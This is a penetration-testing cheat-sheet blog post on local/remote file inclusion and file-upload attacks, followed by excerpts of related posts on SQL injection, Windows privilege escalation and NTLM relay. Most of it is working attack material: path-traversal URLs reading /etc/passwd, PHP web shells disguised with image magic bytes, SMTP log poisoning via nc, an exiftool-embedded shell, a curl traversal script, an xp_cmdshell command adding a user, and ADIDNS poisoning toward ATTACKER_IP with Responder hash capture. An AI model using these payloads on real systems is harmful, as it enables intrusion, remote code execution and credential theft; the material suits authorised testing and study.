Skip to main content

File Upload Vulnerability - LFI/RFI


Try These for Local File Inclusion

http://10.10.10.10/?page=/etc/passw http://10.10.10.10./?page=../../../../../../../etc/passwd http://10.10.10.10/?page=php://filter/convert.base64-encode/resource=index   ?url=/../../../..//etc/apache2/sites-available/000-default.conf
#View Acess logs in proc env - there is a symbolic link to some random number. so bruteforce it using intruder
?url=/../../../../proc/self/fd/§num$ 
File Upload Steps

1) Change the filename to php,php5
2) add the below content to the file
 GIF8;
<?php echo exec("cat /etc/passwd"); ?>
or
\0xFF\0xD8\0xFF\0xE0<?php echo
exec("cat /etc/passwd"); ?>3)
4) try using the wordlist
5) check for
/proc/self/environ for LFI
6) <?php echo file_get_contents('/etc/passwd'); ?>
7) While Uploading the file look for "Content Disposition: form-data; name='somename'; filename="filename.jpeg""
In this case, change the filename to "filename=../filename.php"; to include a path-traversal vuln
or
filename="..%2ffilaname.php"

LFI can be exploited in the cookie

#lang is vulnerable here;
Cookie: lang=../../../../etc/passwd    if there is a include() function in the source code, it is vulnerable to path traversal.

LFI On SMTP 

If SNMP(Port 25) port is available, there might be a chance of LFI as well. check for it., this can be done by log poisoning. use the following commands: nc VICTIM_IP 25 HELO anyname MAIL FROM:"fraek <?php echo shell_exec($_GET['cmd']);?>" RCPT TO: root DATA . Postfix smtp logs can be found at /var/log/mail now if you found a LFI //192.168.56.103/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd= URL encode PHP or PERL reverse shell and pass it as a variableto cmd prameter. and you get a reverse shell 
LFI to RCE 
when you do not have access to /var/log/apache2/access.log directly when you have LFI on the target,use the below

#send the request to intruder and add proc/self/fd/§num§ and add a new position to bruteforce with numbers

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/fd/§num$
#start the attack

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' image.jpg

Steps to Perform LFI


1.   Intercept to Burp
2.   Change Content type to image/gif  or image/jpeg
3.   Add File Signature (magic Numbers) at the starting of the file. Example: GIF8;
GIF8;
<?php
echo exec("cat /etc/passwd");
?>
4.   Change the file extension to PHP
5.   if PHP change it to gif.PHP5, php4 or something like that  
6. if anything above doesnt work - try something like changing php to PHP or PHP5 or PHP4 or php5 or php4 ..  
7. Paste your reverse shell at the end of file; let there be the file signatures of the original file.  
8. In Case you are sure there is a RFI/LFI and not able to see the output in the browser,try the same with curl

curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.227.130/administrator/alerts/alertConfigField.php

#!/bin/bash
_HOST=192.168.100.130
_PATH=administrator/alerts/alertConfigField.php
_PARM=urlConfig
_TRAV=../../../../../../../..
curl -s --data-urlencode "${_PARM}=${_TRAV}$1" $_HOST/$_PATH \
| sed -r 's/^ {8}//' \
| sed '71,$!d' \
| sed '$d' \
| sed '$d'




After Uploading
1. Try to run the file along with reverse shell 
2. Intercept the request, if it is not a reverse shell, just a command executor
<?php system($_REQUEST['HackingDream']);?>
--> change the "Request Method" to post;

    type HackingDream=whoami; will get the output in response

Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds

Windows Priv Escallation

1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD Enum & Kerberos Enum - Bruteforce   Atacking AD with LDAP & kerberos      Step 7: Got Creds - try psexec.py or crackm

Relay Attacks

Hash Hashcat Attack method LM 3000 crack/pass the hash NTLM/NTHash 1000 crack/pass the hash NTLMv1/Net-NTLMv1 5500 crack/relay attack NTLMv2/Net-NTLMv2 5600 crack/relay attack Abusing ADIDNS to Send traffic to the target #Send DNS traffic to the attacker machine, so that we can relay the traffic and gain access to target machines/hashes Import-Module ./ Powermad.ps1 PowerShell New-ADIDNSNode -Node * -Data 'ATTACKER_IP' -Verbose #assign permissions to the ADIDNS Powershell Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose Capturing Hashes using responder and cracking hashes #Find the interface of the IP (see via route table) ip route get 10.10.10.10 #start responder sudo proxychains responder -I tun0 -v #Start responder with WPAD Enabled and try to download NTLM hashes if any found python3 Responder.py -I ens160 -wFb -v --lm --disable-ess #Crack the hashes using hashcat hashcat -m 5600 -a 0 hash rockyou.txt -r /usr/share/